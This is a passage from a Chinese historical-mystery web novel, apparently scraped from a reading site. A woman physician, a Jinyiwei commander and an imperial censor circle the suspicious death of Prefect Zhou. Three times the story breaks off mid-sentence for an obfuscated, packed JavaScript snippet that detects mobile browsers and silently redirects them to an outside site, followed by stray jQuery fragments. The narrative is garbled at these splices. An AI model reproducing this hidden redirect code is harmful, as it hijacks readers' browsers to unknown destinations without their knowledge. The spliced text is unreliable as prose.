薛珩是没想到这姑娘的面皮还挺厚,但他自己也不是什么皮薄的少年,经她这么一说反而更加不加掩饰,双眸盯在她脸上动都不动。
时间久得让陈湘行都快有些毛骨悚然了,他才漫不经心道:“东平县这种穷乡僻壤,倒是能养出陈姑娘这样明眸皓齿的美人,薛某一时间看呆了,有何错处?”
到底是在金陵官场里摸爬滚打过的人,轻佻的话张嘴就来。
陈湘行笑嘻嘻道:“民女这蒲柳之姿哪里比得上金陵那地方养出来的美人,真是折煞民女了。薛大人看起来是没少去秦淮河畔感受美人环绕的乐趣,不过也是,毕竟看您也就十八九的年纪,恰是血气方刚,爱去那种地方咱们也是能理解的。”
“瞎说什么呢。”薛珩双手环胸撇撇嘴,“我可对美色不感兴趣。”
温柔乡英雄冢,他才不会犯这个蠢。
“是是是,您出淤泥而不染,自然对美人不感兴趣……”陈湘行敷衍道。
刚刚还说看自己看呆了,这脸变得可真快。
这死丫头!
薛珩见她收拾了一堆药草放进背篓里忍不住问道:“你今日要出去?”
“我每日都在回春堂坐诊。”
东平县在薛珩这个久居金陵的人看起来肯定是穷苦偏僻之地,只是这里照样也有达官显贵的族人长久定居于此。
那些富贵人家的姑娘夫人受到的拘束要比乡野间多得多,尤其是在看病方面,所以像陈湘行这样难得的女大夫算得上紧俏,她基本上每日早上都是要去回春堂侯着的。
薛珩刚想再问两句,就听见一道女声从门口处传来:“芃芃!”
徐南歌挎着篓在门口等着,她看见薛珩时先是一怔,眼睛忍不住在二人间瞟来瞟去,但却没多说话。
直到她和陈湘行离开约莫二里地,才忍不住问道:“芃芃,你家院子的那个小郎君是谁?”
罗氏母女深居简出,偌大一个田庄上只有一个患疾的妇人照看,莫名其妙突然多出一个青年郎君,难怪徐南歌会觉得奇怪。
陈湘行扯扯嘴角:“一个远房亲戚,恰巧途经东平县就过来暂住两天,没多久就会走的。”
徐南歌没多问,只是看着陈湘行若有所思地点点头,随即话音一转:“周知府死了你知不知道?”
“周家现在具体什么情况还不知道,只是金陵那边来了好些人查这件事,如今官府那边全是人……”
远处薛珩站在树荫下,听到“周知府”三个字时微微动了下眉。
4. 解渊
徐南歌口中的这位周知府全名周既明,蜀地寒门出身,十多岁时依靠一篇有关济世救国的策论得了悼献太子青眼,被选为东宫伴读。
悼献太子视其为心腹,就连通敌逼宫这样的大事竟也交到了他的手中。
好在这位周大人自幼年起就是听着忠君爱国的故事长大的,见状立马暗中扣留下了悼献太子与鞑靼的来信,趁其前往幽州时将证据一齐上交,这才有了后来先帝派遣乐成侯前去抓捕悼献太子回宫一事。
只可惜好人没好报,周既明二十多岁的时候父母因病死在了从蜀地前往金陵的路上。
按照大明律所言,他须得丁忧三年才可起复,有道是人走茶凉,三年后金陵那边相当的官职早已没了缺,他只好按照吏部的安排来了登州为官,如今将近四十岁的人只能任就知府一职。
陈湘行身为一个医者忍不住问道:“他生什么病了?”
“没病。”徐南歌凑近压低声音道,“官府那边说是抱病而亡,但是我爹学生的娘是在周家帮忙做活的,她说周大人向来身子骨康健,一点小毛小病都没。”
“与其说是抱病而亡,不如说......”
“是冤魂索命。”
市井流言向来像野草一样,稍微有点风吹草动就能疯长,更何况老百姓对鬼神之说本就心存畏惧。
东平县平静了十几年,突然闹出这么一桩大案,几乎是一夜之间,街头巷尾全在传‘悼献太子冤魂索命’的传闻。等金陵派来查案的官吏发觉不对劲时,这消息早就在东平县传遍了,家家户户都在议论。
“袁大人,仵作那边的查验结果已经出来了,说是自杀。”衙役颤了下身子,恭恭敬敬地将验尸的状纸递上。
袁文焕怎么都想不明白,自己一个刑部侍郎是怎么会摊上这种麻烦事,周既明的身份本来就够敏感了,现在皇上和乐成侯的关系又闹得这么僵,加上还牵扯到当年悼献太子的旧案,这种级别的案子哪里是他一个三品官能插手的?
只是圣上和乐成侯斗法,谁都不想让对方的亲信来处理这件事,结果两方推来推去,这个烫手山芋就落在了他这个"不相干"的人头上。
想到这里袁文焕只能感慨一声自己时运不济,老老实实地揪着验尸状纸看了又看。
状纸上写的是明明白白的自杀,可他却还不能就这么直接下定论。
“解公子去哪了?”他压低声音问身边的亲信道。
“今日一早的时候周姑娘那边就派人来说自己身子不适,想去回春堂请个大夫瞧瞧,她原本是想派身边的丫头去请的,恰好解公子来了,他就干脆自己跑了一趟回春堂,如今还没回来呢。”
世上哪里有这么巧的事情,前脚周既明的女儿想派丫头出门,后脚解渊就正好到了周府,只怕是他放在周府的那些眼线回驿站给他递的消息。
如今的周府,只怕是个出不去的牢笼。
袁文焕摇了摇头,将状纸往桌上一摆,自己给自己泡了一壶茶。
“大人?”亲信疑惑道,“咱们不将状纸送官衙去结案么?”
“结什么案?”袁文焕白了他一眼,手指敲桌发出咚咚的响声,“你且看着吧,只怕等周既明头七都过了,这案子也结不掉!”
他是不知道周既明生前给皇上递了什么折子上去,但是多半和乐成侯以及悼献太子的旧案有关,否则圣上也不会就前来的人和乐成侯争执不休,最后派了解渊来东平县。
先帝去世前留下的三个顾命大臣,乐成侯郭琮如今一手遮天,仗着表叔的身份和圣上常年争执不休;身为保皇党的锦衣卫指挥使薛维桢却旧病复发,如今接替他位置的是他那都还没及冠的儿子薛珩,在乐成侯这个老狐狸面前八百个心眼子也没处使。
站场偏为中立的首辅解冕因此也就成了圣上如今唯一的靠山。
解冕这个人也是寒门出身,但他从先帝朝开始就一直是个纯臣,无论帝位如何更迭,他只忠于坐在龙椅上的那个人,所以嘉平年间的悼献太子一案并未将其卷入其中。
刚刚他们口中的解渊,恰是他的独子。
只是回春堂里,此时也不太平。
几个穿着粗布麻衣的农户担着春凳就进来了,上面躺着个诶呦叫唤的少年。
站在最前面的妇人一进回春堂就怒气冲冲:“丧尽天良的庸医!我儿本来只是普通的风寒,吃了你们家的药如今却是上吐下泻,一直发热!你们回春堂就是这般行医的?!”
她手发颤地指着回春堂众人,似是咬紧了牙关:“今日你们若是不给一个说法,我哪怕拼了命也要告到官府去!让大家伙儿们都来看一看你们回春堂草菅人命的嘴脸!”
堂里年长的大夫们还算镇静,可年轻些的药童们没经历过这样的事情,一时间难免有些害怕。
有个八九岁大刚来没多久的小药童更是直接钻到了陈湘行身子后面,怯生生地攥住了她的袖子:“陈师姐……”
陈湘行拍了拍他的手低声安慰:“泽兰莫怕。”
她并未贸然出声,而是安静地坐在药材后面看着前头妇人的一举一动,目光缓缓转移到躺在春凳上叫唤不停的少年身上。
他的手时不时摁着自己的右肋处。
今日本应坐诊的大夫里最有威望的是陈湘行的师傅章见青,只是他早些时候不知道有什么事出门了,如今回春堂里能主事的只剩下了她的师伯吴济川。
堂内候诊的病患纷纷避让,吴济川不慌不忙搁下手中的墨笔沉声道:“还望夫人暂且息怒,不知令郎姓甚名谁,又是何月何日来回春堂抓的药?用的是什么方子?”
他语速平稳温和,倒是有几分安抚人心的功效。
闻言那妇人的态度也和缓了许多:“就是三日前来抓的药,小儿姓方,单名一个晏。”
她从袖子里掏出一张皱巴巴的纸团放到案桌上。
吴济川身边的药童将纸团展开,泽兰到底是个孩子,怯生生地从陈湘行身侧探出头去看,回来后凑到她耳边:“就是风寒最常见的桂枝加白芍,按照章师傅说的就是最平和不过的药汤,怎么吃都吃不坏人的。”
他声音虽轻,可那妇人却耳朵尖得很,见状立马上前几步厉声道:“你什么意思?莫非我们还会拿身体来和你们回春堂开玩笑!你们知不知道我家晏儿可是徐之敬夫子都说过的可造之材,日后那可是要考状元的!万一坏了身子骨,到时候咱们直接公堂见!”
泽兰被吓得眼泪汪汪,陈湘行一把将他拦到自己身后,原本温和带笑的面容瞬间冷凝下来。
这下就连翻着病症单子的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668087|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吴济川都忍不住皱起了眉:“方夫人,令郎如今尚在病中,如此这般吵闹恐怕不利于休养。”
他瞟了一眼身边的药童示意他将屏风搬过来:“不如先让老朽给令郎诊脉看看,若是真用药有误,回春堂自然不会推卸责任。”
就在这时,躺在春凳上的方晏突然停住了叫唤声:“娘,算了吧,或许是我自个最近背书花的心神太多了,病才越来越严重的,估摸着回去之后休息两日就好了。”
他是想要息事宁人,可方夫人听他这么一说顿时就来了劲,三步并两步就冲到吴济川面前,口水唾沫都快要喷到他脸上了:“当时我儿来此抓药的时候莫非没有诊脉不成?如果诊了,那我倒要问问替他诊脉的是哪一位庸医?!竟然还能诊错脉、开错药!”
就在这时,一道带着怒意的女声突然从方夫人的身后的春凳边响起:“方小郎君那一日除了对诊脉的大夫说了自己的风寒症状外,可曾说过自己还有其他不适?”
她的手指了指自己右肋的地方。
方夫人回头,只见方晏的神色间有几分躲闪。
她眉头一皱,看清陈湘行的模样后难免多了几分轻蔑:“姑娘胡说什么呢?我家晏儿除了风寒的毛病外,什么别的症状都没有,你这是想把脏水往哪泼呢?还是说......那日给晏儿开药的那个庸医就是你?”
“女孩子家家的,跑出来给人治病,你治得明白么?”
回春堂里难免因方夫人的几句话引起了一阵窃窃私语声。
女孩子怎么了?治病救人还分男女了不成?
陈湘行一开始跟着章师傅行医的时候就已经听过不少类似的质疑声,但是每每听到这样的质疑声她还是忍不住想呛声。
只是今时不同往日,因此她神色不变,安然地看着方晏,等着他的回答。
众目睽睽之下,方晏缓缓点了点头。
方夫人顿住了嘲讽的声音。
“方小郎君不如伸出舌给咱们看看?”
陈湘行努力柔下自己的声音,似是循循善诱。
方晏犹豫了一下,最后在方夫人催促的目光中勉强伸出舌头。
上面是肉眼可见的黄厚舌苔。
陈湘行心中顿时有了数,她站起身子不疾不徐问方晏道:“方小郎君平日可饮酒?”
此话一出方夫人又跳起脚怒斥道:“我家晏儿平日里的时间都花在温书上,如何会去饮酒做乐!我看你分明就是个庸医!什么都不要说了,我们孤儿寡母就这么被你们回春堂欺负,等着吧,你们卖害人的药赚黑心钱,咱们公堂见!”
方夫人话音刚落,回春堂外忽地就传来一阵清越的环佩相击声,众人不自觉地回首望去,只见大门外一道修长身影徐步而入,他的身后恰恰跟着两列穿戴整齐的官兵。
来人是个约莫二十出头的年轻公子,眉目俊美如玉,穿着一袭素色暗云纹广袖长袍,腰间悬着的羊脂玉佩随着步伐轻晃,行动时犹似披上了一层雾,朦胧得仿佛不似此间人。
十余名官兵分列两侧,在此刻全都成了那袭白袍的陪衬。
站在门口的药童一时都看呆了,等人走至眼前才结结巴巴道:“公子找谁?”
他的唇角噙着笑意:“在下佥都御史解渊,寻专治妇人病的陈大夫。”
5. 嘉言
方夫人见是官府来人,整个人顿时抖擞起来,她三步并作两步上前扬声便是:“官爷来得正好!这死丫头片子胡乱行医,用错了药害我儿病情加重,您快把她抓起来!”
一时间所有人的目光都聚集在解渊和陈湘行二人身上,堂内渐渐安静下来。
她行医向来谨慎,怎么可能犯下用错药这种错处?更何况方晏的药方本也就不是她开的。
想到这里陈湘行忍不住叹了口气,她虽然不知道眼前这位解渊公子来回春堂寻她的目的是什么,但敢肯定不是因为自己用药出了岔子。
她扯了下嘴角道:“我就是公子您要寻的陈大夫,只是解公子可否容许我先处理手中的事务,待结束后再与您详谈。”
青年纤长的睫毛微微颤动,随后颔首:“陈大夫请自便。”
话虽如此,他却没有什么避让的动作,依旧站在原地,显然是要旁观的意思。
陈湘行转过身看向春凳上有些不安的方晏:“方小郎君除了发热恶寒、右肋胀痛外,是否还常会感觉口苦咽干,小便赤涩?”
她谈论起这些私密症状时神色坦然,丝毫不显羞涩之意,反倒是方晏闻言浑身一颤,白皙的面皮瞬间涨得通红。
他哆哆嗦嗦地不知道该怎么回答,只好下意识地瞥了眼身旁的母亲,见方夫人眉头蹙起似有不耐,只好咬着牙微不可察地点了点头。
吴济川立马明白了大半,但他只是看着陈湘行在前方侃侃而谈,并未出声打断。
“令郎患得并非是普通风寒,而是酒疸。”陈湘行看向方夫人哼了一声,“这种病症是因长期饮酒所导致的脾胃不和、内郁生热,外表看起来和普通的风寒并没有两样,但是风寒所用的药汤不对本症,长久下来没有效果就罢了,拖延久了还会起到反效果。”
“至于为什么上次令郎来此寻医时大夫只给他开了风寒的药,恐怕是他担心自己饮酒过度的事情因为用药的缘故被捅到您面前,所以对问诊的大夫并未吐露实情。”
说白了就是不想自己被骂,所以把锅都推到了他们药堂的大夫身上。
也太孬了点。
方夫人猛地转头看向方晏,方晏白着一张脸连忙摇头:“她瞎说的!娘!前几日的时候在夫子家,有考上秀才的师兄回来探望夫子,他们带了点竹叶青,我就喝了一小杯,其余时候我都没喝过酒!”
话虽如此,但到底还是饮酒了。
至于其余时候他有没有喝,又有谁知道呢?
方夫人的脸顿时一片铁青,她现在压根不管自家儿子的病症到底怎么样了,上手直接扇了方晏一个巴掌,紧紧抓着他的手,指甲几乎都快要嵌进他腕间的皮肉中去:“我是怎么和你说的!你爹死前最想看到的就是你成才!”
“这么多年下来我日日节衣缩食,一日打好几份工,每日起早贪黑,不就是为了你能好好读书,日后考个状元回来光耀你方家门楣!如今你倒好!还喝酒作乐!还撒谎骗我!”
方晏的脸一下子肿得老高。
“娘......我错了。”
他话音刚落,突然从春凳上边滚落下来“哇”得一声吐出来一摊黄水,里面还带着些星星点点的血丝。
“快去拿药石过来压住他的穴位!另外取我的针过来!”吴济川紧锁眉头大步跨到方晏面前,一把掀开他的衣领,露出泛黄的胸膛。
回春堂内霎时间乱成了一团,方夫人那只扬起的手还悬在半空,指尖微微抽搐着。她脸上愤怒的潮红在刹那间转为青白,嘴唇蠕动不知道多少下却始终发不出声音,仿佛所有的话都被卡在了喉咙里。
陈湘行摇着头准备去取药来,却见解渊正站在药柜旁,朝她露出一个清浅的笑容。
“听周知府家的姑娘说,陈大夫医术高超,尤擅为妇人家治病。”他朝着陈湘行笑笑,“她今日腹痛难忍,正好在下今日在周府办事,就顺道过来想请陈大夫过府一看。”
周知府?
陈湘行手里取药材的速度并未慢下来,但心中突然闪过今日早上出门的时候徐南歌同她说过的事情——周既明的死亡可能与昔年悼献太子谋反案有关。
她将药材递给泽兰后转头望向解渊,露出清浅的酒窝:“医术高超不敢当,我只是个普普通通的乡野大夫。劳烦解大人等我一下,我马上就来。”
经行腹痛是女儿家常见的毛病,尤其是那些高门大户中养的金尊玉贵的女儿,大门不出二门不迈,实际上更容易腹痛难忍。
陈湘行跟着解渊走到回春堂外,看到孤零零的一辆马车时不禁愣了一下。
登州男女大防虽然不像金陵那般严重,但也没有未出阁的姑娘和男子同坐一辆马车的道理。
只是解渊来的时候并未事先考虑到周姑娘口中说的陈大夫竟然是个女儿家,所以只带了一辆马车过来。
他有些歉意道:“不知陈大夫可否介意……”
陈湘行摇摇头:“经行腹痛虽然听起来不是什么大毛病,可若是真的痛起来也是会出人命的,更何况我本也不在乎这些繁文缛节,咱们直接走便是了。”
她干脆利落地掀开马车帘往上走,倒是叫解渊怔住了,他白皙的皮肤上难免染上了点薄红,只好攥紧袖口捂着嘴咳了两下后轻声道:“抱歉……”
周知府家离回春堂不远,没过多久就到了。
因为民间对周既明的死因流传出多个不同的版本的故事,所以如今在周府查案子的人也越来越多,府邸外面都是衙役,几乎都快要把整个周府都围得水泄不通了。
陈湘行站在周府的匾额下,只觉得这地方看起来像个摸不着底的牢笼。
“陈大夫,请。”
周姑娘的屋子在后院,陈湘行冷眼看着前院反倒没有多少衙役侯着,而前院与后院间的那道墙门却围着不知道多少官兵。
知道的是周知府死因不明,所以派遣重兵在此保护周姑娘,不知道的人恐怕还以为是周姑娘犯下了什么弥天大罪,所以才被监禁起来。
“解公子,我家姑娘说了,她虽知道您是好意,但这里到底是闺阁之地,您将陈大夫送到这儿就够了。”
她们刚进后院没两步,就见一个黄衫儿白绫裙的圆脸丫头从里面快步走来,朝着解渊恭敬福身,身子却严严实实地挡在他面前,硬是让他多走不了一步。
“她不必如此防着我……。”
解渊叹了口气,顿下步子面向陈湘行温声道:“陈大夫等下出来的时候依旧到这个门口等着便是,解某会安排人手将你送去回春堂的。”
说罢他便朝着陈湘行笑笑,旋即转身就走。
这样情真意切的话语难免会让人有些遐想,陈湘行眼珠子滴溜转了一圈,莫非这位金陵来的解大人还和周知府家的姑娘有什么恩怨情仇?
只是到底是在旁人家里,她不好多嘴攀谈,只能把那点八卦心思藏起来,低眉顺眼地跟在圆脸丫头身后进了院落。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668088|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>周知府生前只得了周姑娘这么一个宝贝女儿,所以此处院落乍一眼看上去极其宽阔,院子中摆着两处葡萄架,架子下面是一处小池,几尾红鲤在里面游来游去。
屋子的窗前悬挂着一个雕花笼,笼子里面却是空的。
“那里面原本放着一只绿鹦鹉,是我七岁时过生辰爹送来的礼物。”
陈湘行正凝神看着笼子,却见窗口处晃出一张素净的鹅蛋脸,她的声音清润动听,只是话语间带着点淡淡的惆怅。
或许是因为腹痛的缘故,她的脸色看起来有些苍白,但是观其眉眼却能窥出隐在其中书卷的清气,想来她就是解渊口中的周姑娘了。
“微月,去给陈大夫沏盏茶来。”
陈湘行被引着进了周姑娘的闺房后,第一眼看见的是她床榻边足足有四层高的楠木书架,上边摆放着数不胜数的书籍,除却经史子集外还有许多自己闻所未闻的游记、话本。
书架旁边的桌案上还摆着卷未曾合上的《汉书》,书页的边角都已经皱了,应当经常被主人翻阅。
“劳烦陈大夫走这一趟了。”
周姑娘垂眸坦然地伸出手,陈湘行搭到她的腕上,感受着指尖传来的跳动。
“姑娘这是沉寒痼疾,应该是小时候有过受凉的经历,那时候寒气入体却未及时医治,如今再想彻底根治已经很难了。”
陈湘行摸着她的脉蹙眉道:“我先给姑娘开点温经汤,先服用两日看看能不能缓解疼痛。”
“小的时候因为贪玩落了水,当时我爹娘都不知道,救上来的时候就已经坏了身子骨了。”
周姑娘不知想到了什么神色有些发怔,但很快话锋一转,朝陈湘行温婉笑笑:“陈大夫也不必姑娘姑娘的叫我,我姓周,名嘉言,取自‘嘉言懿行’一词,陈大夫直接叫我嘉言就行了。”
陈湘行眨眨眼有些好奇地看向她。
周嘉言似乎是在同她拉进关系,可她们在这之前,明明是素未谋面的陌生人,她有什么要这么做的必要呢?
她不知道周嘉言葫芦里卖的什么药,只好从善如流:“嘉言姑娘。”
先静观其变吧。
周嘉言温婉笑笑,似是不经意地闲谈道:“陈大夫除了医书外,闲来无事时可曾会看些别的书?”
“我肯定比不上嘉言姑娘你看的书多。”陈湘行将温经汤的方子写好后爽朗道,“况且我是个静不下来的性子,从前有看书的功夫,我都是和友人们一道去村里听戏,地方大、人多,还热闹。”
“各人各有所爱,不足为奇。”
“我有的时候,也很爱听戏。”
微月将泡好的茶水放到案桌上,周嘉言拿出还未合上的《汉书》略微翻了几页,不知道她的目光最后停留在了哪一段。
窗外突然下起了小雨。
雨珠一滴滴落在空荡荡的雕花笼中发出清脆的响声,笼底渐渐积起了水洼。
“不知陈大夫看戏的时候可曾听《汉书》?”
周嘉言的声音很轻,却让陈湘行微微一怔。
少女轻轻拨动茶盏,鸦睫微颤,在苍白得毫无血色的脸颊上投下一丝阴霾:“我今日恰好读到武帝纪。”
“书中写道,戾太子刘据被污以巫蛊谋反,无奈之下只好带着家眷门客血染长安,最后堂堂太子因他人陷害、天子昏庸,只能落得一个满门伏诛下场,就连啼哭的婴孩都难逃一死。”
陈湘行收笔的手顿了一下。
6. 榴花
雨丝渐密,风中都带着些潮湿的意味。
听着窗外淅淅沥沥的小雨,陈湘行若无其事地将笔墨放回原来的地方,抬头看向正在打量她神色的周嘉言。
“村里的戏都是逢年过节才唱的。”陈湘行眉眼弯弯,露出浅浅的酒窝,“都是些诸如《天仙配》、《龙凤呈祥》这种阖家团圆的热闹戏,图个吉利罢了。”
“像嘉言姑娘您说的这种汉武帝和戾太子的故事,太悲了,听多了叫人心里闷得慌,咱们一般是不大会点的。”
陈湘行将手中写好药方的纸递到周嘉言面前:“这些史书您随意看看就是了,常年深究容易忧思过度。我刚给您把脉的时候就想说了,落水受寒是您身子骨不好的引子,但究其根本,恐怕是您心中藏着事,这才会长期郁结于心。”
周嘉言闻言眼底闪过一丝落寞。
“想来也是,人人都喜欢阖家团圆的热闹......”
只是这种热闹,她再也不会有了。
“微月,送陈大夫出去吧。”周嘉言朝着陈湘行笑笑,“过两日我若服了药还是不舒服,恐怕还要劳烦陈大夫过来看看。”
微月应了一声,随后就引着陈湘行朝着她先前来的地方走去。
等到假山的转角处,她的脚下似乎绊倒了哪里,突然一个踉跄险些倒在地上,陈湘行下意识地去扶她,却发觉她趁着这个机会飞速往自己手中塞了一张薄薄的纸。
随后微月迅速抽回手,站直身子恍若无事发生:“沿着这条路一直往前走,绕过假山就是先前解公子吩咐过让陈大夫等候的地方了,姑娘病弱离不得人,奴婢就先行告退了。”
说罢还没等陈湘行反应过来她就提起裙子转身消失在雨幕中,一路望去,还能看到她沾湿的裙角。
四下无人,陈湘行轻轻展开那张被揉皱了的纸,上面写了三个名字,分别是:
周既明、徐盈、罗存照。
她的手微微一颤。
存照二字正是她舅舅罗隐的表字。
陈湘行不语,心中一时间转过千百个念头。
周嘉言让丫头递给她这样一张记着三个人名字的纸是为了什么?她今日突然提起的武帝和戾太子一事又是为了想和她说明白什么?
总不会无缘无故提及这么一段故事。
若是搭配上早上徐南歌和她说的那些话,莫非周嘉言是借武帝和戾太子的故事在影射昔年悼献太子谋反一案?
她想干什么?
陈湘行心里想着事,脚步慢了不说,都没注意到微月给她的那张纸还被紧紧攥在手中。
结果刚走两步,她就听见前面传来几句低低的交谈声,抬头一看,假山后面几道人影晃过,腰间佩刀的轮廓还若隐若现。
她忍不住心头一紧,飞快地将微月递给她的纸折成寸许大小,借着整理衣襟的动作塞入怀中。
好在厚实的春衫将纸张的轮廓掩盖得严严实实的,根本看不见一点。
在这种时刻,她就忍不住感慨一声,真是太感谢薛指挥使了,否则她还穿着薄薄的夏衫,连个藏东西的地方都没有。
“陈大夫,该启程了。”
解渊派来的侍卫似乎已经在此地等候多时,陈湘行看了眼已经暗下来的天色,有些歉意道:“这位大哥,今日耽搁得有些久了,回春堂那边应当也用不着我再特地赶回去了,不如你直接把我送回榴山村吧。”
侍卫迟疑片刻后看了眼渐暗的天色,最后点头答应了。
榴山村因村口两株百年石榴树得名,每逢五六月这个时候石榴花正是开得旺盛,哪怕临近黄昏也能看出榴花欲燃的艳丽。
晚风拂过,千百朵榴花纷纷扬扬地洒落,绯红的花雨中立着一道熟悉的红色身影,与漫天的榴花似乎融为一体。
“薛大人倒是好雅兴,伤口未愈还来这里赏榴花。”
陈湘行忍不住驻足下来看眼前这番人与花争艳的景象,黄昏的余晖似乎为他的红衣镀上了一层金边,榴花在他那张脸的映衬下都显得有些黯然失色。
人是真的漂亮,只可惜总是狗嘴里吐不出象牙来。
“病人也不能躺在床榻上窝一整日吧?”
他蓦地面向陈湘行,唇角微勾朝她走来:“总得出来走走。”
“傍晚的时候回春堂那边来了名送药的小童,他说今日佥都御史带你去了周府?”
薛珩面上分明是笑着的,眼底却闪过一丝探究。
周既明无故身亡一事到底牵扯进去了不少人,眼前这位锦衣卫指挥使看样子也是冲着这件事来的。
陈湘行上下打量了他一番,双手环胸哼哼道:“竟不知薛大人你这么关心我的去处,平日里只听闻过锦衣卫的情报无孔不入,倒是没想到薛大人连咱们这种升斗小民的行踪都要尽在掌握之中。”
薛珩挑眉看了她一眼,歪着身子倚靠在榴树上:“尖牙利嘴。”
陈湘行挪开目光正欲往家走去,下一秒身后却传来青年懒洋洋的声音:“腰牌什么时候还我?”
“什么腰牌?”
从薛珩身上顺来的锦衣卫指挥使的令牌一直藏在自己身上,他不可能发现。
多半是在借此机会诈她。
因此陈湘行故作蹙眉道:“薛大人可不要血口喷人,我又哪里拿过你的腰牌了?”
薛珩看着她一本正经的面容忍不住闷笑一声,肩头震颤带动满树榴花簌簌:“陈家姑娘,明人不说暗话。”
他漫不经心接着道:“我的腰牌是在竹林中丢了的,而那些来追杀我的人早都被杀了个干净,我敢保证一个活口都不剩,要么闹鬼了,不然绝不可能是他们拿走的。”
“从我昏迷到醒来不过也就一盏茶左右的时间,算上你遇到我到给我包扎再到你离开的时间,除非当时竹林里面有第三个人在场,否则我的腰牌不可能不翼而飞。”
“陈姑娘你说……当时竹林里面,还有人吗?”
薛珩一步步走到陈湘行面前嗤笑一声:“我不知道你要我的锦衣卫令牌做什么,但是知道了我的身份还能这么若无其事的,你定然身份不会普通到哪里去。”
“我不关心你的去处,我只是比较好奇你的来路。”
陈湘行一下子心里不免就打起了鼓,这位锦衣卫指挥使说的话也有几分道理,她当时拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668089|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腰牌的时候也没有考虑到这么多前因后果,但是如果让她现在就全盘拖出未免也太难堪了一点,况且她确实需要这东西……
“薛公子。”陈湘行舔了舔嘴唇硬着头皮张口道,“我不止救了你一命,在你重伤未愈的情况下我甚至不顾自身名声留你在家休养,对你我自认已经仁至义尽。你呢?你如今这样咄咄逼人的模样,又是想要知道什么,证明什么?”
“还是说,这就是你对救命恩人的态度?”
色厉内荏。
像只张牙舞爪的小猫。
薛珩瞟了她一眼:“一码归一码,你救我一命我自然会报答你,你只要先回答我的问题就好了。”
“什么报答?”
陈湘行没给他转移话题的机会,而是盯着他的眼眸认真问道。
薛珩也很大气:“无论你提什么要求,只要在我力所能及的范围内,不违背我的底线,我都能答应你。”
陈湘行等的就是他这一句话。
她那双圆圆的猫眼微弯,伸手从身上不知道哪里扯出来一块巴掌大小的令牌。
“我要这个。”
果然在她身上。
薛珩直接被气笑了,他长这么大是真没见过像陈湘行这样脸皮厚的女孩子,前脚还在说自己没有拿他的令牌,后脚他答应了可以提一个要求,直接掏出刚刚口口声声说没有见过的令牌。
他忍不住挖苦道:“不是说薛某血口喷人吗?啧啧啧,我这哪里能比得上陈姑娘你呀?撒起谎来眼睛都不眨一下,这东西想见过就见过,想没见过就没见过。”
陈湘行将令牌攥在手里,慢条斯理道:“薛大人此言差矣,若非你先前不分青红皂白就以性命要挟,我也不会把这东西藏在身上。”
“毕竟家中孤儿寡母,若是再没有什么可以约束你的东西握在手里,总归是让人放不下心来的。况且我也没有刻意隐瞒,你不都自己猜到了吗?”
她为什么拿令牌的真正原因反正薛珩也不会知道,还不是随便她想说什么说什么。
陈湘行朝他笑笑,手一翻就将东西收进怀中。
薛珩扯扯嘴角有些无语:“你就不怕我知道令牌在你这之后把你杀了,趁机拿走令牌逃之夭夭?”
他可不觉得自己是什么良善人。
陈湘行自然也不会轻易拿自己的性命当赌注,况且她本来就不相信薛珩这个情绪反复无常的家伙。
只是她大约能猜出来这位锦衣卫指挥使突然跑到东平县来的主要原因,所以冷静道:“我今日去了周府。”
薛珩被人追杀至此,肯定不能再大大方方地继续用锦衣卫指挥使的身份行事,他身上又有伤,不太好随便走动。
按照陈湘行原本的想法是她可以借助周姑娘的病症探查周府,和薛珩达成共识,回来后将所见所闻与他分享。
周既明的死在朝堂上闹得沸沸扬扬,圣上让他来登州的一部分原因确实也是因为这件事情,只是薛珩看着陈湘行这幅胸有成竹的模样顿时笑了。
“我又不只是来查周既明怎么死的案子的。”
言下之意就是,他现在对周府没兴趣。
7. 夜访
“周家现在不管对谁来说都是个烫手山芋,陈姑娘看我像不像个硬要凑上去的蠢蛋?”
薛珩见陈湘行僵在原地忍不住嘲讽道:“你这点心计在这种乡野地方倒是够用了,若是去了金陵恐怕死八百回都不知道自己是怎么死的。”
陈湘行抿唇不语。
她一直以为薛珩到东平县的目的和解渊他们是一样的,却没想到他来此不单单只是为了这一桩事情。
但她也没气馁,只是语气一软:“薛大人自然是聪明人。”
薛珩也不说话就看着她,等到陈湘行都被快看得发毛的时候才笑了一声,退后两步懒懒道:“陈姑娘你放心好了,薛某虽然不是什么好人,但也不是个滥杀无辜的人。”
“你想要我的令牌拿去便是,只是你可要想好了,不管你用这个东西去做什么,最后免不了都要和我扯上关系,到时候要是旁人问起来,你该怎么回答?”
见少女没说话,薛珩又继续说道:“你若是用我的令牌去官府,不管拿它作什么用途,最后都免不了会被一些苍蝇盯上。那位佥都御史倒还好,勉强算得上是个君子,其余那些人若是看到你手上的令牌,尤其是那些想要追杀我的人,恐怕可不会轻易放过你。”
